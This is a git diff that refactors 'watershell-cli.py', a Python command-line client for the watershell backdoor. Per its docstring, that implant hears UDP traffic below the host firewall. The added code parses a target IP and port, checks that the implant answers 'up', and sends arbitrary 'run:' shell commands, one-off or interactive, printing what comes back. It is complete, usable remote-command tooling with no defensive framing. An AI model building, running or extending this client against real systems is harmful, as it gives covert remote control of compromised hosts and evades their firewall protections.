diff --git a/watershell-cli.py b/watershell-cli.py old mode 100644 new mode 100755 index 016283c..5d6e8e9 --- a/watershell-cli.py +++ b/watershell-cli.py @@ -1,58 +1,131 @@ -import socket, time, sys +#!/usr/bin/env python3 +""" +Watershell client; a script to easily send commands over UDP to a host running +the watershell listening binary. The watershell will be listening for UDP data +on a lower level of the network stack to bypass userspace firewall rules. +""" -def recv_timeout(the_socket,timeout=2): - #make socket non blocking +import argparse +import socket +import time +import sys + +def recv_timeout(the_socket, timeout=4): + """ + Attempt to listen for data until the specified timeout is reached. + + Returns: + str - Data received over socket + """ + # make socket non blocking the_socket.setblocking(0) - - #total data partwise in an array - total_data=[]; - data=''; - - #beginning time - begin=time.time() - while 1: - #if you got some data, then break after timeout + + # total data partwise in an array + total_data = [] + data = '' + + # beginning time + begin = time.time() + while True: + # if you got some data, then break after timeout if total_data and time.time()-begin > timeout: break - - #if you got no data at all, wait a little longer, twice the timeout - elif time.time()-begin > timeout*2: + + # if weve waited longer than the timeout, break + elif time.time()-begin > timeout: break - - #recv something + + # recv something try: data = the_socket.recv(8192) if data: total_data.append(data.decode()) - #change the beginning time for measurement - begin=time.time() + # change the beginning time for measurement + begin = time.time() else: - #sleep for sometime to indicate a gap + # sleep for sometime to indicate a gap time.sleep(0.1) - except: + except BaseException as exc: pass - - #join all parts to make final string + + # join all parts to make final string return ''.join(total_data) -if __name__ == '__main__': - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - s.bind(("", 53316)) - box = (sys.argv[1], int(sys.argv[2])) - print("Connecting to Watershell on {}...".format(box)) - s.sendto(b'status:', box) - resp = recv_timeout(s, 1) - if resp == "up": - print("Connected!") - else: - print("Connection Failed...") - sys.exit(1) +def declare_args(): + """ + Function to declare arguments that are acceptable to watershel-cli.py + """ + parser = argparse.ArgumentParser( + description="Watershell client to send command to host with watershell listening over UDP.") + parser.add_argument( + '-t', '--target', + dest='target', + type=str, + required=True, + help="IP of the target to send UDP message to.") + + parser.add_argument( + '-p', '--port', + dest='port', + type=int, + default=52, + help="Port to send UDP message to.") + parser.add_argument( + '-c', '--command', + dest='command', + type=str, + help="One off command to send to listening watershell target") + parser.add_argument( + '-i', '--interactive', + dest='interactive', + action='store_true', + default=False, + help="Interactively send commands to watershell target") + + return parser + +def execute_cmd_prompt(sock, target): + """ + Interactively prompt user for commands and execute them + """ while True: cmd = input("//\\\\watershell//\\\\>> ") if cmd == 'exit': break if len(cmd) > 1: - s.sendto(("run:"+cmd).encode(), box) - resp = recv_timeout(s, 2) + sock.sendto(("run:"+cmd).encode(), target) + resp = recv_timeout(sock, 4) print(resp) + +def main(): + """ + Entry point to watershell-cli.py. Parse arguments supplied by user, + grab the status of the watershell target and then issue commands. + """ + args = declare_args().parse_args() + + # Bind source port to send UDP message from + s_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s_socket.bind(("0.0.0.0", 53316)) + + target = (args.target, args.port) + print("Connecting to Watershell on {}...".format(target)) + s_socket.sendto(b'status:', target) + + resp = recv_timeout(s_socket, 2) + if resp == "up": + print("Connected!") + else: + print("Connection Failed...") + sys.exit(1) + + if args.interactive: + execute_cmd_prompt(s_socket, target) + else: + s_socket.sendto(("run:{}".format(args.command)).encode(), target) + resp = recv_timeout(s_socket, 4) + print(resp) + +if __name__ == '__main__': + main()